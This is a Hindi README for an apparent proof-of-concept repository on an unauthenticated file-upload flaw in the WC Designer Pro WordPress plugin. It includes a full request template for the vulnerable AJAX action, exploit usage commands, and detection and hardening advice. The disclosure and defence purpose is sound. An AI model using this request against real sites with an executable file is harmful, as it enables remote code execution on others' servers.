विषय-सूची

• भेद्यता अवलोकन
• सुरक्षा प्रभाव
• प्रभावित संस्करण
• मूल कारण
• हमले का प्रवाह
• आवश्यकताएँ
• स्थापना
• उपयोग
• तकनीकी विवरण
• सुरक्षित सत्यापन
• जोखिम के संकेतक
• उपचार
• कानूनी और नैतिक उपयोग
• प्रकटीकरण स्थिति
• संदर्भ
• श्रेय

भेद्यता अवलोकन

WC Designer Pro में WordPress के admin-ajax.php एंडपॉइंट के माध्यम से उजागर एक AJAX एक्शन में बिना प्रमाणीकरण के मनमानी फ़ाइल-अपलोड भेद्यता मौजूद है।

प्रभावित हैंडलर पर्याप्त प्रमाणीकरण, प्राधिकरण, एक्सटेंशन सत्यापन, MIME-प्रकार सत्यापन, या सर्वर-साइड फ़ाइलनाम प्रतिबंध लागू किए बिना उपयोगकर्ता-नियंत्रित फ़ाइल मेटाडेटा और फ़ाइल सामग्री को संसाधित करता है।

कमजोर कॉन्फ़िगरेशन में, एक बिना प्रमाणीकरण वाला हमलावर वेब-सुलभ निर्देशिका में सर्वर-निष्पादन योग्य फ़ाइल अपलोड करने में सक्षम हो सकता है। सफल शोषण के परिणामस्वरूप वेब सर्वर प्रक्रिया के विशेषाधिकारों के अंतर्गत रिमोट कोड निष्पादन हो सकता है।

सटीक प्रभावित संस्करण सीमा, CVE पहचानकर्ता और CVSS स्कोर केवल स्वतंत्र रूप से सत्यापित होने के बाद ही प्रकाशित किए जाने चाहिए।

सुरक्षा प्रभाव

सफल शोषण एक बिना प्रमाणीकरण वाले हमलावर को निम्न की अनुमति दे सकता है:

• WordPress इंस्टॉलेशन में अनधिकृत फ़ाइलें अपलोड करना।
• सार्वजनिक रूप से सुलभ अपलोड निर्देशिका के अंदर फ़ाइलें संग्रहीत करना।
• निष्पादन योग्य एक्सटेंशन स्वीकार होने पर सर्वर-साइड कोड निष्पादित करना।
• वेब सर्वर खाते के लिए सुलभ डेटा पढ़ना या संशोधित करना।
• प्रभावित WordPress इंस्टॉलेशन से समझौता करना।
• आगे के हमलों के लिए समझौता किए गए सर्वर को पिवट पॉइंट के रूप में उपयोग करना।

अंतिम प्रभाव वेब सर्वर कॉन्फ़िगरेशन, PHP निष्पादन नियमों, फाइलसिस्टम अनुमतियों और होस्टिंग प्रदाता द्वारा तैनात सुरक्षा नियंत्रणों पर निर्भर करता है।

प्रभावित संस्करण

प्रभावित संस्करण सीमा वर्तमान में सत्यापित की जा रही है।

Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

जब तक परीक्षण या विक्रेता की पुष्टि उस निष्कर्ष का समर्थन नहीं करती, यह न बताएँ कि हर संस्करण प्रभावित है।

मूल कारण

कमजोर अपलोड प्रवाह निम्नलिखित AJAX एक्शन को आपूर्ति किए गए हमलावर-नियंत्रित मानों पर भरोसा करता हुआ प्रतीत होता है:

wcdp_save_canvas_design_ajax

अनुरोध में निम्नलिखित फ़ाइल मेटाडेटा होता है:

• फ़ाइल एक्सटेंशन
• फ़ाइल पहचानकर्ता
• गंतव्य पहचानकर्ता
• अपलोड की गई फ़ाइल सामग्री

भेद्यता तब मौजूद होती है जब सर्वर निम्नलिखित सभी नियंत्रणों को निष्पादित किए बिना इन मानों को स्वीकार करता है:

1. प्रमाणीकरण और प्राधिकरण जाँच।
2. WordPress nonce सत्यापन।
3. सख्त एक्सटेंशन अनुमतिसूची (allowlist)।
4. फ़ाइल सामग्री के आधार पर MIME-प्रकार सत्यापन।
5. फ़ाइलनाम सामान्यीकरण और स्वच्छीकरण (sanitization)।
6. गैर-निष्पादन योग्य अपलोड गंतव्य का प्रवर्तन।
7. अस्थायी फ़ाइलों तक सीधी वेब पहुँच की रोकथाम।

हमले का प्रवाह

Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

अवलोकित अपलोड पथ इस संरचना का अनुसरण करता है:

/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

सटीक पथ प्लगइन संस्करण, WordPress कॉन्फ़िगरेशन और सर्वर वातावरण के आधार पर भिन्न हो सकता है।

आवश्यकताएँ

• Python 3.8 या नया
• pip
• एक WordPress प्रयोगशाला वातावरण
• एक अधिकृत लक्ष्य
• एक कमजोर WC Designer Pro इंस्टॉलेशन

इस प्रूफ ऑफ कॉन्सेप्ट का उपयोग स्पष्ट लिखित प्राधिकरण के बिना तृतीय-पक्ष प्रणालियों के विरुद्ध नहीं किया जाना चाहिए।

स्थापना

रिपॉजिटरी क्लोन करें:

git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

वर्चुअल वातावरण बनाएँ और सक्रिय करें:

python3 -m venv .venv
source .venv/bin/activate

Windows पर:

python -m venv .venv
.venv\Scripts\Activate.ps1

निर्भरताएँ स्थापित करें:

pip install -r requirements.txt

उदाहरण requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

उपयोग

प्रूफ ऑफ कॉन्सेप्ट को केवल एक अधिकृत प्रयोगशाला लक्ष्य के विरुद्ध निष्पादित किया जाना चाहिए।

python3 exploit.py --url https://wordpress-lab.example

गैर-विनाशकारी सत्यापन के लिए:

python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

उदाहरण सत्यापन फ़ाइल:

WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

समर्थित तर्कों को देखने के लिए अंतर्निहित हेल्प कमांड का उपयोग करें:

python3 exploit.py --help

उदाहरण आउटपुट:

usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

तकनीकी विवरण

कमजोर एंडपॉइंट

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

अनुरोध निम्न का आह्वान करता है:

action=wcdp_save_canvas_design_ajax

नीचे एक सरलीकृत अनुरोध संरचना दिखाई गई है:

------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

यह उदाहरण जानबूझकर एक गैर-निष्पादन योग्य टेक्स्ट फ़ाइल का उपयोग करता है।

अवलोकित प्रतिक्रिया

एक सफल अनुरोध निम्न के समान प्रतिक्रिया लौटा सकता है:

{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

अकेले एक सफल प्रतिक्रिया रिमोट कोड निष्पादन को सिद्ध नहीं करती। शोधकर्ता को अलग से पुष्टि करनी होगी कि:

1. फ़ाइल बनाई गई थी।
2. फ़ाइल सुलभ है।
3. गंतव्य निर्देशिका सर्वर-साइड निष्पादन की अनुमति देती है।
4. परीक्षण एक अधिकृत वातावरण में आयोजित किया गया था।

सुरक्षित सत्यापन

अनुशंसित सत्यापन प्रक्रिया निम्न है:

1. WordPress को एक पृथक स्थानीय वातावरण में तैनात करें।
2. संदिग्ध कमजोर प्लगइन संस्करण स्थापित करें।
3. एक हानिरहित .txt मार्कर फ़ाइल बनाएँ।
4. प्रभावित AJAX एक्शन का उपयोग करके मार्कर सबमिट करें।
5. पुष्टि करें कि फ़ाइल बिना प्रमाणीकरण के संग्रहीत हुई या नहीं।
6. HTTP अनुरोध और प्रतिक्रिया रिकॉर्ड करें।
7. अपलोड की गई मार्कर फ़ाइल हटाएँ।
8. प्रयोगशाला वातावरण को नष्ट या रीसेट करें।

जब भेद्यता प्रदर्शित करने के लिए एक हानिरहित मार्कर फ़ाइल पर्याप्त हो, तो वेब शेल या कमांड-निष्पादन पेलोड अपलोड करने से बचें।

अपेक्षित साक्ष्य

एक मान्य रिपोर्ट में निम्न होना चाहिए:

• WordPress संस्करण।
• WC Designer Pro संस्करण।
• वेब सर्वर और PHP संस्करण।
• पूर्ण HTTP अनुरोध।
• पूर्ण HTTP प्रतिक्रिया।
• परिणामी फ़ाइल पथ।
• इस बात का प्रमाण कि कोई प्रमाणित सत्र उपयोग नहीं किया गया।
• अपलोड किए गए मार्कर की पुष्टि करने वाला स्क्रीनशॉट या लॉग।
• सफाई (cleanup) की पुष्टि।

जोखिम के संकेतक

प्रशासकों को निम्नलिखित निर्देशिका का निरीक्षण करना चाहिए:

/wp-content/uploads/wcdp-uploads/temp/

संभावित संकेतकों में निम्न शामिल हैं:

• अप्रत्याशित .php, .phtml, .phar, या समान निष्पादन योग्य फ़ाइलें।
• यादृच्छिक रूप से नामित उपनिर्देशिकाएँ।
• अज्ञात उपयोगकर्ताओं द्वारा बनाई गई फ़ाइलें।
• प्रभावित AJAX एक्शन का उपयोग करके admin-ajax.php के लिए अनुरोध।
• अस्थायी अपलोड निर्देशिका के अंदर नई बनाई गई फ़ाइलों तक पहुँचने वाले HTTP अनुरोध।
• PHP या वेब सर्वर प्रक्रिया द्वारा अप्रत्याशित रूप से बनाई गई चाइल्ड प्रक्रियाएँ।

उदाहरण लॉग खोज:

grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

उदाहरण फाइलसिस्टम खोज:

find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

उपचार

साइट प्रशासकों को निम्न करना चाहिए:

1. उपलब्ध होने पर WC Designer Pro को पुष्टि किए गए पैच किए गए संस्करण में अपडेट करें।
2. जब कोई पैच उपलब्ध न हो, तो प्लगइन को अक्षम करें और हटा दें।
3. WordPress अपलोड निर्देशिकाओं के अंदर सर्वर-साइड स्क्रिप्ट निष्पादन को अवरुद्ध करें।
4. अनधिकृत फ़ाइलों के लिए अस्थायी अपलोड निर्देशिका का निरीक्षण करें।
5. शोषण प्रयासों के लिए वेब सर्वर एक्सेस लॉग की समीक्षा करें।
6. समझौते का संदेह होने पर WordPress salts और प्रशासनिक क्रेडेंशियल बदलें (rotate करें)।
7. प्रासंगिक होने पर डेटाबेस, होस्टिंग, FTP, SSH और API क्रेडेंशियल बदलें।
8. पुष्टि किए गए समझौते के बाद WordPress इंस्टॉलेशन को विश्वसनीय स्रोतों से पुनर्निर्मित करें।

अनुशंसित सर्वर कॉन्फ़िगरेशन

Nginx के लिए, अपलोड के अंदर PHP निष्पादन अस्वीकार करें:

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Apache के लिए, अपलोड निर्देशिका के अंदर एक उपयुक्त नियम रखें:

<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

ये नियंत्रण रक्षा-गहराई (defense-in-depth) उपाय हैं और कमजोर प्लगइन कोड को ठीक करने का विकल्प नहीं हैं।

अनुशंसित कोड-स्तरीय नियंत्रण

प्लगइन अनुरक्षकों (maintainers) को निम्न करना चाहिए:

• जहाँ उपयुक्त हो, प्रमाणीकरण की आवश्यकता रखें।
• current_user_can() के साथ उपयोगकर्ता क्षमताओं को सत्यापित करें।
• WordPress nonce की आवश्यकता रखें और उसे सत्यापित करें।
• अनुमत एक्सटेंशनों की एक सख्त अनुमतिसूची का उपयोग करें।
• wp_check_filetype_and_ext() का उपयोग करके फ़ाइलों को सत्यापित करें।
• सर्वर-साइड फ़ाइलनाम उत्पन्न करें।
• संभव होने पर अस्थायी फ़ाइलों को वेब रूट के बाहर संग्रहीत करें।
• निष्पादन योग्य सामग्री को अपलोड निर्देशिकाओं में संग्रहीत होने से रोकें।
• आंतरिक पथों को उजागर किए बिना सामान्य त्रुटियाँ लौटाएँ।

कानूनी और नैतिक उपयोग

यह रिपॉजिटरी विशेष रूप से निम्न के लिए अभिप्रेत है:

• अधिकृत पेनेट्रेशन परीक्षण।
• भेद्यता अनुसंधान।
• रक्षात्मक सत्यापन।
• सुरक्षा शिक्षा।
• पृथक प्रयोगशाला वातावरण में पुनरुत्पादन।

स्पष्ट प्राधिकरण के बिना इस कोड का उपयोग प्रणालियों तक पहुँचने, संशोधित करने, बाधित करने या समझौता करने के लिए न करें।

लेखक इस सामग्री के अनधिकृत, अवैध या दुरुपयोग के लिए ज़िम्मेदार नहीं है। उपयोगकर्ता लागू कानूनों, अनुबंधों, सहभागिता नियमों (rules of engagement) और समन्वित भेद्यता-प्रकटीकरण आवश्यकताओं का पालन करने के लिए पूर्ण रूप से ज़िम्मेदार हैं।

प्रकटीकरण स्थिति

Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

किसी प्लेसहोल्डर CVE को इस प्रकार प्रकाशित न करें मानो वह एक निर्धारित पहचानकर्ता हो।

जब कोई CVE निर्धारित हो, तो प्लेसहोल्डर को आधिकारिक रिकॉर्ड से बदलें:

CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

संदर्भ

• WordPress प्लगइन सुरक्षा
• WordPress AJAX दस्तावेज़ीकरण
• OWASP फ़ाइल अपलोड चीट शीट
• OWASP अप्रतिबंधित फ़ाइल अपलोड
• CWE-434: खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड

श्रेय

परिवर्तन-लॉग (Changelog)

v1.0.0

• भेद्यता सत्यापन वर्कफ़्लो जोड़ा गया।
• गैर-विनाशकारी मार्कर-फ़ाइल समर्थन जोड़ा गया।
• एंडपॉइंट और प्लगइन जोखिम का पता लगाना जोड़ा गया।
• संरचित साक्ष्य संग्रह जोड़ा गया।
• अनुरोध टाइमआउट और त्रुटि प्रबंधन जोड़ा गया।
• उपचार और घटना-प्रतिक्रिया मार्गदर्शन जोड़ा गया।